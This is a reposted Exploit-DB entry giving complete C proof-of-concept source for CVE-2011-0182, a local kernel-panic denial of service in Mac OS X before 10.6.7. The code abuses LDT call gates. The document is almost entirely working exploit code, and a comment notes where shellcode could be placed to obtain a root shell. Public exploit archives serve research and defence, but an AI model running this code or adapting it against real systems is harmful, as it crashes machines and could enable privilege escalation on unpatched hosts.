Apple Mac OSX < 10.6.7 - Kernel Panic (Denial of Service) - 体验盒子

作者： hkpco

日期： 2011-09-28

类别：

dos

平台：

osx

来源：https://www.exploit-db.com/exploits/17901/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

/*

Mac OS X < 10.6.7 Kernel Panic Exploit

CVE-2011-0182, Proof Of Concept Code

Author - Chanam Park (hkpco)

Date - 2011. 06

Contact - chanam.park@hkpco.kr , http://hkpco.kr , @hkpco

Thanks for inspiration / x82, riaf.

*/

// Compile: gcc -o CVE-2011-0182_PoC CVE-2011-0182_PoC.c -m32

#include <architecture/i386/table.h>

#include <i386/user_ldt.h>

#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

void dummy_func( void ) { asm volatile( ".byte 0xff" ); }

int main( void )

{

int ret;

union ldt_entry cgate, cgate2;

char dummy[128] = {0x00,};

cgate.call_gate.offset00= (unsigned int)dummy_func & 0xffff;

cgate.call_gate.offset16= ((unsigned int)dummy_func >> 16) & 0xffff;

// You can input shellcode address value here to get the root shell.

/* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p

The normal system has a little different environment.

I have no time for this anymore because of my summer break is over.

So.. Good Luck! */

cgate.call_gate.argcnt= 0;

cgate.call_gate.type= 0xc; // DESC_CALL_GATE

cgate.call_gate.dpl = 3;

cgate.call_gate.present = 1;

cgate.call_gate.seg.rpl = 0;

cgate.call_gate.seg.ti= 0;

cgate.call_gate.seg.index = 16;

cgate2.call_gate.offset00 = 0x0;

cgate2.call_gate.seg.rpl= 0;

cgate2.call_gate.seg.ti = 0;

cgate2.call_gate.seg.index= 0;

cgate2.call_gate.argcnt = 0;

cgate2.call_gate.type = 0;

cgate2.call_gate.dpl= 0;

cgate2.call_gate.present= 1;

cgate2.call_gate.offset16 = 0x0;

printf( "// coded by Chanam Park (hkpco)\n\n" );

ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate, 1 );

printf( "Selector Number in LDT <1>: 0x%x\n", ret );

ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate2, 1 );

printf( "Selector Number in LDT <2>: 0x%x\n\n", ret );

printf( "If you run this program, it can possibly cause \"Kernel Panic\".\n" );

printf( "The program will be continued when you input any value.\n" );

printf( "-> " );

fflush(stdout);

scanf( "%s", dummy );

asm volatile( "lcall $0x3f, $0x0" );

// Trigger

return 0;

}